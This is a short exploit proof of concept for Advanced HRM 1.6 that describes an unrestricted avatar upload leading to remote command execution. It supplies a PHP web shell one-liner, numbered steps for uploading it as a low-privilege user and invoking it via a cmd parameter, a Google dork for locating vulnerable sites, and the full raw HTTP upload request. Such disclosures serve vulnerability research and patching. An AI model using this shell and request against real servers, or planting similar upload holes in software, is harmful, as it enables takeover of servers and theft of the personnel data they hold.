Advanced HRM 1.6 - Remote Code Execution

# Exploit Title: Advanced HRM 1.6 - Remote Code Execution
# Google Dork: intext:"Advanced HRM" 
# Date: 2018-10-06
# Exploit Author: Renos Nikolaou
# Vendor Homepage: https://coderpixel.com/
# Software Link: https://codecanyon.net/item/advanced-hrm/17767006
# Version: 1.6
# Tested on: Windows 10
# CVE: N/A
# Description : Advanced HRM 1.6 allows users to upload arbitrary files which 
# leads to a remote command execution on the remote server.

# PoC
# 1) Create a php file with the below code:

<?php $cmd=$_GET['cmd']; system($cmd); ?>

# 2) Login to Advanced HRM portal as low priviliage user
# 3) At the right hand side go to Update Profile --> Change Picture ( http://domain/hrm/user/edit-profile )
# 4) Click Browse and upload your file containing the PHP code mentioned at step 1. 
# 5) Click Update
# 6) Right click at the Profile image and select Copy image Location
# 7) Paste the URL into your browser. Will be similar to: http://domain/hrm/assets/employee_pic/cmd.php
# 8) Verify the exploit: http://domain/hrm/assets/employee_pic/cmd.php?cmd=id

# The request:
===================

POST /hrm/user/update-user-avatar HTTP/1.1
Host: domain
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://domain/hrm/user/edit-profile
Content-Type: multipart/form-data; boundary=---------------------------6610657524685
Content-Length: 378
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------6610657524685
Content-Disposition: form-data; name="image"; filename="cmd.php"
Content-Type: application/octet-stream

<?php $cmd=$_GET['cmd']; system($cmd); ?>

-----------------------------6610657524685
Content-Disposition: form-data; name="_token"

yWFLEpnGV1n5OzK7sAPWg6UVJG02Q
-----------------------------6610657524685--